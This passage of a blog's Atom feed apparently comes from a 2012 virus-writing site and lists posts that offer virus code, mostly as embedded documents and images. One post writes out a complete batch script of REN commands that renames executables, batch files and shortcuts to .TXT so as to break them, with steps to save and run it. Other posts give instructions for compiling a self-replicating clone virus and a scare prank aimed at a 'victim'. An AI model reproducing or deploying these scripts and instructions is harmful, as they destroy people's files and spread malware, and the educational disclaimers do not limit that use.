rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-2472794377531382769</id><published>2012-02-17T00:43:00.000-08:00</published><updated>2012-02-17T00:43:35.593-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>virus code 14: Sasser virus code</title><content type='html'>This is a ipaper . This will give detailed explanaition of the virus Sasser. It contains both history and code of sasser. For more ipaers visit the ipaper section&lt;br /&gt;&lt;br /&gt;&lt;object id="doc_160672261395558" height="500" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="100%" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" name="doc_160672261395558" align="middle"&gt;&lt;param name="_cx" value="17965"&gt;&lt;param name="_cy" value="13229"&gt;&lt;param name="FlashVars" value=""&gt;&lt;param name="Movie" value="http://documents.scribd.com/ScribdViewer.swf?document_id=2530839&amp;amp;access_key=key-1xn69ln42wwf8u1o708h&amp;amp;page=&amp;amp;version=1&amp;amp;auto_size=true"&gt;&lt;param name="Src" value="http://documents.scribd.com/ScribdViewer.swf?document_id=2530839&amp;amp;access_key=key-1xn69ln42wwf8u1o708h&amp;amp;page=&amp;amp;version=1&amp;amp;auto_size=true"&gt;&lt;param name="WMode" value="Opaque"&gt;&lt;param name="Play" value="0"&gt;&lt;param name="Loop" value="-1"&gt;&lt;param name="Quality" value="High"&gt;&lt;param name="SAlign" value="LT"&gt;&lt;param name="Menu" value="-1"&gt;&lt;param name="Base" value=""&gt;&lt;param name="AllowScriptAccess" value="always"&gt;&lt;param name="Scale" value="NoScale"&gt;&lt;param name="DeviceFont" value="0"&gt;&lt;param name="EmbedMovie" value="0"&gt;&lt;param name="BGColor" value="FFFFFF"&gt;&lt;param name="SWRemote" value=""&gt;&lt;param name="MovieData" value=""&gt;&lt;param name="SeamlessTabbing" value="1"&gt;&lt;param name="Profile" value="0"&gt;&lt;param name="ProfileAddress" value=""&gt;&lt;param name="ProfilePort" value="0"&gt;&lt;param name="AllowNetworking" value="all"&gt;&lt;param name="AllowFullScreen" value="true"&gt;&lt;embed src="http://documents.scribd.com/ScribdViewer.swf?document_id=2530839&amp;access_key=key-1xn69ln42wwf8u1o708h&amp;page=&amp;version=1&amp;auto_size=true" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" play="true" loop="true" scale="showall" wmode="opaque" devicefont="false" bgcolor="#ffffff" name="doc_160672261395558_object" menu="true" allowfullscreen="true" allowscriptaccess="always" salign="" type="application/x-shockwave-flash" align="middle" height="500" width="100%"&gt;&lt;/embed&gt; &lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-2472794377531382769?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2472794377531382769'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2472794377531382769'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-14-sasser-virus-code_17.html' title='virus code 14: Sasser virus code'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-8649625151912396321</id><published>2012-02-17T00:41:00.000-08:00</published><updated>2012-02-17T00:41:42.821-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>A Basic Virus Writing Primer</title><content type='html'>This is a ipaper . This will give detailed explanation virus writing basics. I dont think it is not by google. For more ipaers visit the ipaper section. The ipaper will take about 10-15 second to load so kindly wait for it to load&lt;br /&gt;&lt;br /&gt;&gt;&lt;object id="doc_162859719192756" height="220" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="100%" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" name="doc_162859719192756" align="middle"&gt;&lt;param name="_cx" value="17965"&gt;&lt;param name="_cy" value="5821"&gt;&lt;param name="FlashVars" value=""&gt;&lt;param name="Movie" value="http://documents.scribd.com/ScribdViewer.swf?document_id=2530842&amp;amp;access_key=key-1wkqdoeh9i7lgz8a9hp6&amp;amp;page=&amp;amp;version=1&amp;amp;auto_size=true"&gt;&lt;param name="Src" value="http://documents.scribd.com/ScribdViewer.swf?document_id=2530842&amp;amp;access_key=key-1wkqdoeh9i7lgz8a9hp6&amp;amp;page=&amp;amp;version=1&amp;amp;auto_size=true"&gt;&lt;param name="WMode" value="Opaque"&gt;&lt;param name="Play" value="0"&gt;&lt;param name="Loop" value="-1"&gt;&lt;param name="Quality" value="High"&gt;&lt;param name="SAlign" value="LT"&gt;&lt;param name="Menu" value="-1"&gt;&lt;param name="Base" value=""&gt;&lt;param name="AllowScriptAccess" value="always"&gt;&lt;param name="Scale" value="NoScale"&gt;&lt;param name="DeviceFont" value="0"&gt;&lt;param name="EmbedMovie" value="0"&gt;&lt;param name="BGColor" value="FFFFFF"&gt;&lt;param name="SWRemote" value=""&gt;&lt;param name="MovieData" value=""&gt;&lt;param name="SeamlessTabbing" value="1"&gt;&lt;param name="Profile" value="0"&gt;&lt;param name="ProfileAddress" value=""&gt;&lt;param name="ProfilePort" value="0"&gt;&lt;param name="AllowNetworking" value="all"&gt;&lt;param name="AllowFullScreen" value="true"&gt;&lt;br /&gt;                                 &lt;embed src="http://documents.scribd.com/ScribdViewer.swf?document_id=2530842&amp;access_key=key-1wkqdoeh9i7lgz8a9hp6&amp;page=&amp;version=1&amp;auto_size=true" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" play="true" loop="true" scale="showall" wmode="opaque" devicefont="false" bgcolor="#ffffff" name="doc_162859719192756_object" menu="true" allowfullscreen="true" allowscriptaccess="always" salign="" type="application/x-shockwave-flash" align="middle" height="220" width="100%"&gt;&lt;/embed&gt; &lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-8649625151912396321?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8649625151912396321'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8649625151912396321'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/basic-virus-writing-primer.html' title='A Basic Virus Writing Primer'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-6200345271363797431</id><published>2012-02-17T00:40:00.000-08:00</published><updated>2012-02-17T00:40:10.300-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus code 16: Change Files extentions</title><content type='html'>This is the virus writing basics section. Today we are going to show you to disable or corrupt files. This is demonstrated using batch programing/dos programing.&lt;br /&gt;&lt;br /&gt;In order to corrupt files all that we do is change files to non-working TXT files or some other format.&lt;br /&gt;&lt;br /&gt;REN *.EXE *.TXT&lt;br /&gt;&lt;br /&gt;REN *.COM *.TXT&lt;br /&gt;&lt;br /&gt;REN *.BAT *.TXT&lt;br /&gt;&lt;br /&gt;REN *.LNK *.TXT&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Just copy the above code into a Notepad file and save it .BAT This is not it You can even change files to any other extension like&lt;br /&gt;&lt;br /&gt;*.JPEG *.DOC&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*.COM means all files with extension .COM. Ren is a dos command to rename. The above cde just renames all . .COM files to .TXT.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-6200345271363797431?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/6200345271363797431'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/6200345271363797431'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-16-change-files-extentions.html' title='Virus code 16: Change Files extentions'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-3243895050210915908</id><published>2012-02-17T00:38:00.000-08:00</published><updated>2012-02-17T00:38:46.821-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Macro virus writing 1</title><content type='html'>&lt;object id="doc_343525354385592" height="500" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="100%" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" name="doc_343525354385592" align="middle"&gt;&lt;param name="_cx" value="17965"&gt;&lt;param name="_cy" value="13229"&gt;&lt;param name="FlashVars" value=""&gt;&lt;param name="Movie" value="http://documents.scribd.com/ScribdViewer.swf?document_id=2199123&amp;amp;access_key=key-1gljmgdsiz0t4gpdfdnk&amp;amp;page=&amp;amp;version=1&amp;amp;auto_size=true"&gt;&lt;param name="Src" value="http://documents.scribd.com/ScribdViewer.swf?document_id=2199123&amp;amp;access_key=key-1gljmgdsiz0t4gpdfdnk&amp;amp;page=&amp;amp;version=1&amp;amp;auto_size=true"&gt;&lt;param name="WMode" value="Opaque"&gt;&lt;param name="Play" value="0"&gt;&lt;param name="Loop" value="-1"&gt;&lt;param name="Quality" value="High"&gt;&lt;param name="SAlign" value="LT"&gt;&lt;param name="Menu" value="-1"&gt;&lt;param name="Base" value=""&gt;&lt;param name="AllowScriptAccess" value="always"&gt;&lt;param name="Scale" value="NoScale"&gt;&lt;param name="DeviceFont" value="0"&gt;&lt;param name="EmbedMovie" value="0"&gt;&lt;param name="BGColor" value="FFFFFF"&gt;&lt;param name="SWRemote" value=""&gt;&lt;param name="MovieData" value=""&gt;&lt;param name="SeamlessTabbing" value="1"&gt;&lt;param name="Profile" value="0"&gt;&lt;param name="ProfileAddress" value=""&gt;&lt;param name="ProfilePort" value="0"&gt;&lt;param name="AllowNetworking" value="all"&gt;&lt;param name="AllowFullScreen" value="true"&gt;&lt;embed src="http://documents.scribd.com/ScribdViewer.swf?document_id=2199123&amp;access_key=key-1gljmgdsiz0t4gpdfdnk&amp;page=&amp;version=1&amp;auto_size=true" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" play="true" loop="true" scale="showall" wmode="opaque" devicefont="false" bgcolor="#ffffff" name="doc_343525354385592_object" menu="true" allowfullscreen="true" allowscriptaccess="always" salign="" type="application/x-shockwave-flash" align="middle" height="500" width="100%"&gt;&lt;/embed&gt; &lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-3243895050210915908?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3243895050210915908'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3243895050210915908'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/macro-virus-writing-1.html' title='Macro virus writing 1'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5223157927872814602</id><published>2012-02-17T00:35:00.000-08:00</published><updated>2012-02-17T00:35:31.382-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Alp Advanced virus writing</title><content type='html'>This is a ipaper . This will give detailed explanaition on the virus writing. For more ipaers visit the ipaper section&lt;br /&gt;&lt;br /&gt;&lt;object id="doc_515186988535353" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" name="doc_515186988535353" align="middle" height="200" width="100%"&gt;&lt;param name="_cx" value="17965"&gt;&lt;param name="_cy" value="5292"&gt;&lt;param name="FlashVars" value=""&gt;&lt;param name="Movie" value="http://documents.scribd.com/ScribdViewer.swf?document_id=2169942&amp;amp;access_key=key-1t4to2uz99gs8lb2o2cp&amp;amp;page=&amp;amp;version=1&amp;amp;auto_size=true"&gt;&lt;param name="Src" value="http://documents.scribd.com/ScribdViewer.swf?document_id=2169942&amp;amp;access_key=key-1t4to2uz99gs8lb2o2cp&amp;amp;page=&amp;amp;version=1&amp;amp;auto_size=true"&gt;&lt;param name="WMode" value="Opaque"&gt;&lt;param name="Play" value="-1"&gt;&lt;param name="Loop" value="-1"&gt;&lt;param name="Quality" value="High"&gt;&lt;param name="SAlign" value=""&gt;&lt;param name="Menu" value="-1"&gt;&lt;param name="Base" value=""&gt;&lt;param name="AllowScriptAccess" value="always"&gt;&lt;param name="Scale" value="ShowAll"&gt;&lt;param name="DeviceFont" value="0"&gt;&lt;param name="EmbedMovie" value="0"&gt;&lt;param name="BGColor" value="FFFFFF"&gt;&lt;param name="SWRemote" value=""&gt;&lt;param name="MovieData" value=""&gt;&lt;param name="SeamlessTabbing" value="1"&gt;&lt;param name="Profile" value="0"&gt;&lt;param name="ProfileAddress" value=""&gt;&lt;param name="ProfilePort" value="0"&gt;&lt;param name="AllowNetworking" value="all"&gt;&lt;param name="AllowFullScreen" value="true"&gt;&lt;embed src="http://documents.scribd.com/ScribdViewer.swf?document_id=2169942&amp;amp;access_key=key-1t4to2uz99gs8lb2o2cp&amp;amp;page=&amp;amp;version=1&amp;amp;auto_size=true" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" play="true" loop="true" scale="showall" wmode="opaque" devicefont="false" bgcolor="#ffffff" name="doc_515186988535353_object" menu="true" allowfullscreen="true" allowscriptaccess="always" salign="" type="application/x-shockwave-flash" align="middle" height="300" width="100%"&gt;&lt;/embed&gt; &lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-5223157927872814602?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5223157927872814602'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/5223157927872814602'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/alp-advanced-virus-writing.html' title='Alp Advanced virus writing'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-3718889864557522899</id><published>2012-02-17T00:32:00.000-08:00</published><updated>2012-02-17T00:32:10.022-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus codes(full codes)</title><content type='html'>This site includes a lots of virus codes most of then are not going to cause any serious harm but a few of them will . You are going to land behind bar if you misuse these virus codes. these virus codes are intended for programmers and not for script kiddies(amateur virus codes are called script kiddies).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We dont intend to cause havoc but when a lot of site distribute these codes why cant we . So here si a list of popular virus codes that we have. Our main aim is to show how easy it is to create a virus by a programmer who know just say 50% of the language.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Most viruses are in written in c as it's asystem programming lanuage. Even dos is quiet popular. Vbs is used by people who want advanced virus that cause much danger.&lt;br /&gt;&lt;br /&gt;An hacker when spreading a virus takes atmost care of not getting caught. He knows all the ways he can get caught and erases all of them. you and me are not so lucky to know all of them(although i might know a few but not most of you). So if you spread them you are easily caught.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;So lets cut the crap and look at the codes. here are some of the popular codes&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/vbsredlofa-htmlredlofa-code.html"&gt;Html virus -- vbs&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-4-orkut-virusmuhaha-virus.html"&gt;Orkut Virus -- vbs&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-5-clone-virus.html"&gt;Clone virus -- c/c++&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-6-doom-virus.html"&gt;Doom virus -- c/c++&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-20-black-wolf-virus.html"&gt;Black Wolf virus -- c/c++&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Disable input device -- c/c++&lt;br /&gt;&lt;br /&gt;&lt;a href="http://geekcodes.blogspot.com/2012/02/virus-code-14-sasser-virus-code.html"&gt;Sasser Virus -- Assembly language&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-3718889864557522899?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3718889864557522899'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/3718889864557522899'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-codesfull-codes.html' title='Virus codes(full codes)'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-8050552772071066651</id><published>2012-02-17T00:28:00.000-08:00</published><updated>2012-02-17T00:28:51.589-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>virus code 14: Sasser virus code</title><content type='html'>This is a ipaper . This will give detailed explanaition of the virus Sasser. It contains both history and code of sasser. For more ipaers visit the ipaper section&lt;br /&gt;&lt;object id="doc_160672261395558" height="500" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0" width="100%" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" name="doc_160672261395558" align="middle"&gt;&lt;param name="_cx" value="17965"&gt;&lt;param name="_cy" value="13229"&gt;&lt;param name="FlashVars" value=""&gt;&lt;param name="Movie" value="http://documents.scribd.com/ScribdViewer.swf?document_id=2530839&amp;amp;access_key=key-1xn69ln42wwf8u1o708h&amp;amp;page=&amp;amp;version=1&amp;amp;auto_size=true"&gt;&lt;param name="Src" value="http://documents.scribd.com/ScribdViewer.swf?document_id=2530839&amp;amp;access_key=key-1xn69ln42wwf8u1o708h&amp;amp;page=&amp;amp;version=1&amp;amp;auto_size=true"&gt;&lt;param name="WMode" value="Opaque"&gt;&lt;param name="Play" value="0"&gt;&lt;param name="Loop" value="-1"&gt;&lt;param name="Quality" value="High"&gt;&lt;param name="SAlign" value="LT"&gt;&lt;param name="Menu" value="-1"&gt;&lt;param name="Base" value=""&gt;&lt;param name="AllowScriptAccess" value="always"&gt;&lt;param name="Scale" value="NoScale"&gt;&lt;param name="DeviceFont" value="0"&gt;&lt;param name="EmbedMovie" value="0"&gt;&lt;param name="BGColor" value="FFFFFF"&gt;&lt;param name="SWRemote" value=""&gt;&lt;param name="MovieData" value=""&gt;&lt;param name="SeamlessTabbing" value="1"&gt;&lt;param name="Profile" value="0"&gt;&lt;param name="ProfileAddress" value=""&gt;&lt;param name="ProfilePort" value="0"&gt;&lt;param name="AllowNetworking" value="all"&gt;&lt;param name="AllowFullScreen" value="true"&gt;&lt;embed src="http://documents.scribd.com/ScribdViewer.swf?document_id=2530839&amp;access_key=key-1xn69ln42wwf8u1o708h&amp;page=&amp;version=1&amp;auto_size=true" quality="high" pluginspage="http://www.macromedia.com/go/getflashplayer" play="true" loop="true" scale="showall" wmode="opaque" devicefont="false" bgcolor="#ffffff" name="doc_160672261395558_object" menu="true" allowfullscreen="true" allowscriptaccess="always" salign="" type="application/x-shockwave-flash" align="middle" height="500" width="100%"&gt;&lt;/embed&gt; &lt;/object&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-8050552772071066651?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8050552772071066651'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/8050552772071066651'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-14-sasser-virus-code.html' title='virus code 14: Sasser virus code'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-9104003565390682996</id><published>2012-02-17T00:14:00.000-08:00</published><updated>2012-02-17T00:16:52.912-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus Code 20: Black wolf virus</title><content type='html'>This is the code of the "Black Wolf" virus.This is in c. You are at your own risk. If you spread this you will land behind the bar. We are giving this only for educational Purpose. You need to guess the header file for yourself.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viruswritings.googlepages.com/blackwolf.GIF" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="511" src="http://viruswritings.googlepages.com/blackwolf.GIF" width="362" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This virus corrupts all the .com files . so be extremely careful what you do with it.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-9104003565390682996?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/9104003565390682996'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/9104003565390682996'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-20-black-wolf-virus.html' title='Virus Code 20: Black wolf virus'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-6420219329097760116</id><published>2012-02-17T00:08:00.000-08:00</published><updated>2012-02-17T00:12:44.280-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus code 6 : Doom virus</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viruswritings.googlepages.com/doom.GIF" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"&gt;&lt;img border="0" height="476" src="http://viruswritings.googlepages.com/doom.GIF" width="478" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Replace location to the location where you want the file to be&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is not actually a virus but a practical joke. It will make your victim believe that his system is under seize and is infected. Remember you need to compile it only (.ie click on compile option ) and not run it(i.e click on run option). This will generate the .EXE file.&lt;br /&gt;&lt;br /&gt;Even though this is just a prank just be careful to whom you spread it as you could still get into minor trouble.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-6420219329097760116?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/6420219329097760116'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/6420219329097760116'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-6-doom-virus.html' title='Virus code 6 : Doom virus'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-2271135754300322332</id><published>2012-02-17T00:01:00.000-08:00</published><updated>2012-02-17T00:01:24.216-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus code 5: Clone Virus</title><content type='html'>This is a virus code of clone virus in c/c++. This virus clones itself. You can convert it into java by making small changes that any java programmer can make out.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viruswritings.googlepages.com/clone.GIF" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="602" src="http://viruswritings.googlepages.com/clone.GIF" width="426" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;Before you use this virus you need to compile . Just select the complie option in your c compiler. DONT RUN IT OR SELECT THE RUN OPTION, I repeat dont run it. Now exit the compiler . Find the size of the .exe file generated in bytes. Replace the value of "X" with is value(in bytes).&lt;br /&gt;&lt;br /&gt;Now recompile it and exit.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What this virus does is it makes all the files in the current directory a virus. You need to find out the header files for yourself as this only for educational purpose . Just remember to run this virus inside a new folder that contains no important exe and normal files . This virus will make them too as virus.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3313246643998194674-2271135754300322332?l=geekcodes.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2271135754300322332'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3313246643998194674/posts/default/2271135754300322332'/><link rel='alternate' type='text/html' href='http://geekcodes.blogspot.com/2012/02/virus-code-5-clone-virus.html' title='Virus code 5: Clone Virus'/><author><name>zepz</name><uri>http://www.blogger.com/profile/04097554525631283833</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='33' height='26' src='http://2.bp.blogspot.com/_kDKFqsqzl0I/SYFBoti8zUI/AAAAAAAAACA/2wFAzLZyzHs/S220/1.jpg'/></author></entry><entry><id>tag:blogger.com,1999:blog-3313246643998194674.post-5071818707535738898</id><published>2012-02-16T23:58:00.000-08:00</published><updated>2012-02-16T23:58:35.789-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><title type='text'>Virus code 4: Orkut virus/Muhaha virus</title><content type='html'>For all you programmers here is the code of the virus. Let' look at this virus in detail. So that if you become a victim you can protect your self. All that this virus does is stores it self in C:\heap41a. It is generally named PowerPoint.exe or firefox.exe. This virus prevents you from typing orkut in your address bar even if you type "http://orkuttricks.blogspot.com/" no the site wont open.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The code is not the complete code so that you don't start spread this virus. This is just for understanding. Actual virus is repetition of this code with changes.&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://viruswritings.googlepages.com/orkutvirus.GIF" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="179" 